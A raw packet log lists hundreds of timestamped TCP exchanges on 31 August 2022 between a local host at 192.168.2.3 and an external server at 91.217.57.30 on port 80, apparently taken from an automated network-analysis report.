Aug 31, 2022 08:33:54.966950893 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.966969967 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.966974020 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.966991901 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967015982 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967024088 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967036963 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967053890 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967056990 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967077971 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967093945 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967097044 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967114925 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967128038 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967135906 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967156887 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967178106 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967180967 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967199087 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967216969 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967217922 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967236996 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967252016 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967256069 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967267036 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967282057 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967284918 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967298031 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967313051 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967319965 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967329025 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967358112 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967360973 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967376947 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967392921 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967395067 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967407942 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967422962 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967428923 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967438936 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967453957 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967462063 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967469931 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967485905 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967492104 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967502117 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967519045 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967524052 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967535019 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967550039 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967555046 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967566013 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967581034 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967586040 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967597008 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967612028 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967617035 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967637062 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967648029 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967652082 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967668056 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967683077 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967696905 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967698097 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967713118 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967726946 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967729092 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967744112 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967753887 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.967758894 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.967796087 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.974150896 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.995510101 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.995543957 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.995567083 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.995592117 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.995593071 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.995615005 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.995621920 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.995639086 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.995661020 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.995735884 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.995764971 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.995775938 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.995788097 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.995810032 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.995821953 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.995832920 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.995857954 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.995868921 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.995927095 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.995949030 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.995965004 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.995990038 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996015072 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996026039 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996051073 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996098042 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996134043 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996165037 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996175051 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996193886 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996216059 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996217012 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996238947 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996243000 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996263027 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996280909 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996304989 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996329069 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996347904 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996351004 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996372938 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996383905 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996393919 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996417046 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996429920 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996438026 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996459961 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996475935 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996478081 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996504068 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996512890 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996516943 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996561050 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996602058 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996624947 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996648073 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996665955 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996671915 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996695995 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996717930 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996738911 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996741056 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996752024 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996763945 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996793985 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996795893 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996818066 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996845961 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996871948 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996887922 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996911049 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996923923 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996933937 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996956110 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.996965885 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.996978998 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997008085 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997011900 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.997034073 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997049093 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997071028 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.997073889 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997097015 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997107983 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.997119904 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997143984 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997153997 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.997169971 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997193098 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997205019 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.997215033 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997237921 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997248888 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.997261047 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997282982 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997294903 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.997306108 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997328043 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997337103 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.997350931 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997383118 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997386932 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.997391939 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997406006 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997427940 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:54.997430086 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997453928 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:54.997461081 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.001821041 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.001879930 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.001921892 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.001925945 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.001969099 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.001979113 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.002012968 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.002053022 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.002059937 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.023361921 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023401976 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023421049 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023454905 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023461103 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.023473978 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023483038 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.023493052 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023511887 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023520947 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.023530006 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023550034 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023559093 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.023598909 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.023606062 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023623943 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023642063 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023659945 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023663044 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.023679018 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023691893 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.023698092 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023716927 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023734093 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.023735046 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023753881 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.023771048 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.024488926 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024517059 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024555922 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.024584055 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024604082 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024626970 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.024646044 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024686098 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.024712086 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024729013 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024744034 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024770975 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.024770975 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024789095 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024805069 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024818897 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.024832010 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024847984 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.024849892 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024864912 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024879932 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024893045 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.024895906 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024909973 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.024912119 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024925947 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024940968 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024955988 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024955988 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.024971008 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.024983883 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.024986029 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025002003 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025011063 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.025017023 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025033951 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025039911 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.025047064 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025063992 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025084019 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025094986 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.025105000 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025116920 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.025126934 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025146008 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.025149107 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025167942 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025192976 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.025309086 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025356054 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.025455952 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025501966 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025543928 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.025548935 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025790930 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.025837898 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.025952101 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.026175976 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.026215076 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.026269913 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.026364088 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.026403904 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.026474953 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.026540995 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.026576042 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.026998043 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.027657986 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.027708054 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.027765989 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.027899027 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.027935028 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.028150082 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.050602913 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.050676107 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.050687075 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.050694942 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.050713062 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.050728083 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.050735950 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.050765991 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.050826073 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.050844908 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.050860882 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.050877094 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.050878048 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.050893068 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.050909042 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.050913095 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.050925970 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.050941944 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.050956964 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.050964117 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.050992966 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.051095963 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.051116943 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.051131964 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.051136017 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.051148891 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.051163912 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.051170111 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.051196098 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.051951885 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.052167892 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.052186966 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.052202940 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.052218914 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.052248955 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.052264929 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.052278996 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.052294970 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.052320957 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.052320957 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.052336931 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.052337885 CEST	49744	80	192.168.2.3	91.217.57.30
Aug 31, 2022 08:33:55.052350044 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.052365065 CEST	80	49744	91.217.57.30	192.168.2.3
Aug 31, 2022 08:33:55.052376032 CEST	49744	80	192.168.2.3	91.217.57.30
